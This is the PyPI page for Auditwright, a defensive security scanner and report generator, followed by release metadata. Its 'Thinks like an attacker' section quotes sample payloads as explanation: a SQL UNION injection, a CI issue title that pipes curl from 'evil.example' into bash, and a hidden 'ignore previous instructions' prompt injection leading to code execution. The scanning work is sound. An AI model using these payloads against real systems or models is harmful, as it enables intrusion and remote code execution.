Skip to main content

Auditwright

One command. A full security audit of your project, and a report you will actually want to read.

Auditwright looks at your software the way an attacker does. It scans code for injection flaws with real taint tracking, leaked secrets (including git history), vulnerable and malicious dependencies, CI, container and cloud misconfigurations, AI and LLM risks, hidden-character attacks and quantum-vulnerable cryptography; it pen-tests live sites and scans your network for exposed, unauthenticated services. Then it connects the dots into attack paths and tells you, for every finding, how an attacker would use it. It also runs your test suites and generates new edge-case and security tests. Everything ends up in one report: a dashboard-grade HTML page plus SARIF, JUnit, Markdown, JSON and CSV.

CI PyPI OpenSSF Scorecard Python Dependencies License

Auditwright report overview: risk grade, threat level, attack surface and OWASP heatmaps


Quick start

pip install auditwright
auditwright full                       # scan the current project, write every report format
open auditwright-report/auditwright.html

That is it. No configuration, no account, no server, and no third-party Python packages: Auditwright is written entirely on the Python standard library, so it adds nothing to your supply chain.

What it checks

Area What you get
Code security Python analysed on its syntax tree with intra-procedural taint tracking from web requests, route parameters and serverless events into 30+ sinks: shell, eval, SQL, file paths, outbound requests (SSRF), templates (SSTI), markup (XSS), redirects, deserialisation. Rules for JavaScript/TypeScript, Go, PHP, Ruby, Java/Kotlin, C# and shell.
AI and LLM risks Model output flowing into shell, exec, SQL, HTML, URLs or file paths; user input in system prompts; trust_remote_code=True; pickled model files. Mapped to the OWASP Top 10 for LLM Applications.
Secrets 29 detectors (cloud, VCS, payment, messaging, LLM providers, private keys, JWTs, connection strings) plus an entropy-gated generic detector. Optional git history scan. Values are always redacted in reports.
Dependencies Self-contained parsers for 14 lockfile formats (pip, Poetry, uv, PDM, Pipenv, npm, Yarn, pnpm, Cargo, Go, Bundler, Composer, NuGet, Gradle) checked against OSV in batches. Severity from CVSS, fixed versions, and a separate alert for known malicious packages. Lockfile hygiene: missing lockfiles, plain-HTTP downloads, mutable git dependencies, missing integrity hashes.
CI, containers, IaC GitHub Actions script injection, pull_request_target checkouts, unpinned actions, write-all tokens, leaked secrets in logs. Dockerfiles, docker-compose, Kubernetes, Terraform, web server configs, registry tokens in .npmrc.
Hidden characters Trojan Source bidi overrides, invisible Unicode tag-character prompt smuggling (decoded for you), zero-width characters, mixed-script homoglyph identifiers.
Cryptography Weak ciphers, ECB, short RSA keys, static IVs, and a post-quantum readiness inventory of every RSA, elliptic-curve and Diffie-Hellman use.
Tests Detects and runs pytest (with branch coverage), unittest, Jest, Vitest, go test and cargo test, and puts the results in the same report.
Generated tests Writes pytest edge-case and security tests for untested Python functions, typed from their hints: boundary numbers, NaN, huge inputs, path traversal, injection strings, null bytes, hidden Unicode. Every call is time-boxed so hangs and ReDoS show up as failures. Functions with side effects are never called.
Network scan Live hosts and open ports on networks you own; databases, caches, container and cluster APIs that answer without authentication (Redis, MongoDB, Elasticsearch, CouchDB, Docker, kubelet, memcached, MQTT, rsync), anonymous FTP, Telnet, old SSH, exposed RDP/VNC/SMB, admin consoles, web services without TLS. Read-only probes only.
Live pen test Non-destructive checks of a site you own: TLS, HTTPS redirect, HSTS, CSP quality, clickjacking, cookies, CORS origin reflection, exposed .git/.env/backups/debug consoles, verbose errors, open redirects, reflected input, GraphQL introspection, security.txt.

229 rules, each with a CWE, an OWASP mapping and a concrete fix. See docs/rules.md.

Thinks like an attacker

Scanners usually hand you a list of rule names. Auditwright explains impact the way an intruder sees it:

  • Every finding says how it is exploited, with a concrete payload: "Send ' UNION SELECT username, password_hash FROM users--", "Open an issue titled "; curl -sSfL evil.example/x | bash #", "Hide ignore previous instructions... in a page the model reads; your code executes the reply."
  • Attack paths connect findings that are far worse together than apart, from entry point to impact: prompt injection to remote code execution, SSRF to cloud credential theft, fork pull request to repository takeover, leaked secret to account takeover, forged session to admin access, upload to web shell, exposed services to network takeover.
  • Unusual attack classes most scanners skip: mass assignment, HTTP header injection, Python format-string attribute leaks, user-supplied regexes, code downloaded and executed at run time, admin routes without authentication, weak JWT keys, web-shell uploads, Unicode tag-character prompt smuggling, homoglyph identifiers, CI script injection and artifact poisoning.

Attack paths: entry point to impact

The report

The HTML report is a single self-contained file built like a security operations dashboard:

  • a risk grade and score, a threat-level banner and a "fix first" list
  • an attack-surface status board and OWASP Top 10 and OWASP LLM Top 10 heatmaps
  • every finding with the offending line, CWE and OWASP tags, confidence and the fix
  • dependency, cryptography (post-quantum) and test panels
  • severity filters, light and dark themes, and a layout that works on phones, all without JavaScript

It is safe to open and share: a strict Content-Security-Policy allows nothing but its own stylesheet, everything from the scanned code is escaped, secrets are redacted, and the report shows the project name, not your local paths.

Findings list with severity filters The report on a phone

Format File Use it for
HTML auditwright.html People: the dashboard above
SARIF 2.1.0 auditwright.sarif GitHub code scanning, IDEs, other security platforms
JUnit XML auditwright.junit.xml CI test views (findings appear as failing tests)
Markdown auditwright.md Pull-request comments and job summaries
JSON auditwright.json Automation and dashboards
CSV auditwright.csv Spreadsheets (formula injection neutralised)

Commands

auditwright scan [path]                 # static audit, terminal output (add -f html,sarif,... for files)
auditwright full [path]                 # scan + every report format
auditwright full --run-tests            # ...and run the project's tests (executes project code)
auditwright full --pentest https://staging.example.com --i-am-authorized
auditwright test [path]                 # run the test suites and report results and coverage
auditwright gen-tests [path] [--write]  # preview or write generated edge-case tests
auditwright pentest https://example.com --i-am-authorized
auditwright netscan 192.168.1.0/24 --i-am-authorized [--web]   # your own network
auditwright baseline                    # accept today's findings; later scans show only new ones
auditwright rules [--format md|json]    # list every rule
auditwright init                        # starter auditwright.json
auditwright doctor                      # environment check

Useful options: --history (scan git history for secrets), --offline (no vulnerability lookups), --only code,secrets / --skip deps, --exclude PATH, --baseline FILE, --fail-on high, --name "Display name". Exit codes: 0 clean, 1 findings at or above --fail-on (or failing tests), 2 error. Full reference: docs/commands.md.

In CI

GitHub Actions (uploads SARIF to code scanning, attaches the HTML report, writes a job summary):

permissions:
  contents: read
  security-events: write
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          persist-credentials: false
      - uses: shah2017/auditwright@v0.1.0
        with:
          fail-on: high

pre-commit:

repos:
  - repo: https://github.com/shah2017/auditwright
    rev: v0.1.0
    hooks:
      - id: auditwright           # or auditwright-secrets for a fast secrets-only check

Anywhere else: pip install auditwright && auditwright scan --format sarif,junit,html -o reports --fail-on high. See docs/ci.md for GitLab, baselines and pull-request-only gating.

Configuration

Optional auditwright.json in the project root:

{
  "exclude": ["fixtures/", "*.min.js"],
  "disable": ["AW-PQ-001"],
  "severity": {"AW-GHA-005": "info"},
  "ignore": [{"rule": "AW-PY-004", "path": "scripts/", "reason": "admin-only tooling"}],
  "fail_on": "high",
  "baseline": ".auditwright-baseline.json"
}

Single lines can be suppressed inline with # auditwright: ignore[AW-PY-001] (or // ...). See docs/configuration.md.

Python API

from pathlib import Path
from auditwright import Options, scan
from auditwright.report.html import render

report = scan(Path("."), Options(offline=True))
print(report.counts())
Path("report.html").write_text(render(report), encoding="utf-8")

Safe by design

Auditwright reads untrusted code for a living, so it is built to be hard to turn against you:

  • scan never executes project code. Tests run only when you ask (test, --run-tests).
  • Git history is read with external diff drivers, text-conversion filters, pagers and fsmonitor disabled, so a malicious repository cannot make git run commands.
  • Every regular expression runs per line without nested quantifiers (linear time); files are size-capped; symlinks are never followed out of the project.
  • Network access goes only to api.osv.dev (skip it with --offline), with TLS verification, time-outs and size caps.
  • The pen tester refuses to run without --i-am-authorized, stays on one origin, never follows redirects, sends a bounded number of non-destructive requests and waits between them.
  • The network scanner also requires --i-am-authorized, scans only private ranges unless you pass --allow-public, caps the number of hosts, and uses read-only handshakes (no password guessing, no exploits).
  • Zero runtime dependencies; releases are built in CI and published with PyPI Trusted Publishing.

Read the threat model.

How it compares

Auditwright Single-purpose tools
Code, secrets, dependencies, IaC, AI risks, crypto, tests, pen test One tool, one report Five or more tools and five report formats
Python taint tracking into LLM-specific sinks Yes Rare
Post-quantum crypto inventory Yes Rare
Test generation from type hints, with side-effect safety Yes Separate tooling
Runtime dependencies 0 Often dozens

Dedicated tools go deeper in their own lane (for example full inter-procedural analysis or huge rule catalogues), and Auditwright's SARIF output sits happily next to them. Auditwright's strength is breadth, signal quality and a report people can act on.

Limitations

  • Taint tracking is intra-procedural (within a function) and Python-only; other languages use line rules.
  • Static analysis cannot prove the absence of vulnerabilities and can report false positives. Use the confidence field, suppressions and baselines to tune it.
  • The pen tester and network scanner are misconfiguration and exposure checks, not a replacement for a human-led penetration test. The network scanner checks TCP services only.
  • Test generation targets Python functions with type hints.

Documentation

Getting started · Commands · Reports · Rules · CI · Configuration · How it works · Pen testing · Network scanning · Test generation · Threat model · FAQ

Reporting problems

  • Wrong result (false positive, missed issue): open a "Wrong result" issue with a minimal example.
  • Bugs and feature requests: use the issue forms; include auditwright doctor output.
  • Vulnerabilities in Auditwright: report privately via the Security tab. See SECURITY.md.

License

Apache License 2.0. See LICENSE.

Metadata

Release files for auditwright 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for auditwright 0.1.0
File Size Uploaded Provenance Actions
auditwright-0.1.0.tar.gz 582.5 kB With provenance Details for auditwright-0.1.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for auditwright 0.1.0
File Interpreter ABI Platform Actions
auditwright-0.1.0-py3-none-any.whl Python 3 none any Details for auditwright-0.1.0-py3-none-any.whl

Total release size: 709.2 kB

Release files / auditwright-0.1.0.tar.gz

Download URL auditwright-0.1.0.tar.gz
Size 582.5 kB
Tags Source
SHA-256 checksum
How to use checksums
0c57617aa232a5bd84e7366033df16eac9822c95d7e87cab8e3551dcdd88140e
BLAKE2b-256 checksum
How to use checksums
6417d9e2e0e3921bb399aa8f111a136ff4f372e9af04a4ffa7cc85efc8af4c53
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Dec 4, 2026.

Transparency log

Release files / auditwright-0.1.0-py3-none-any.whl

Download URL auditwright-0.1.0-py3-none-any.whl
Size 126.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
93e1c3e979c1b88dda8430801c09514ff7061c7ccd143be2886729f9b81c5045
BLAKE2b-256 checksum
How to use checksums
906acc8cade80e03da18177eeff05905eb8ecf11122f341f90c11ee39c2bf7e2
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.16

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Dec 4, 2026.

Transparency log

Security for auditwright 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

Both files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for auditwright-0.1.0.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Dec 4, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page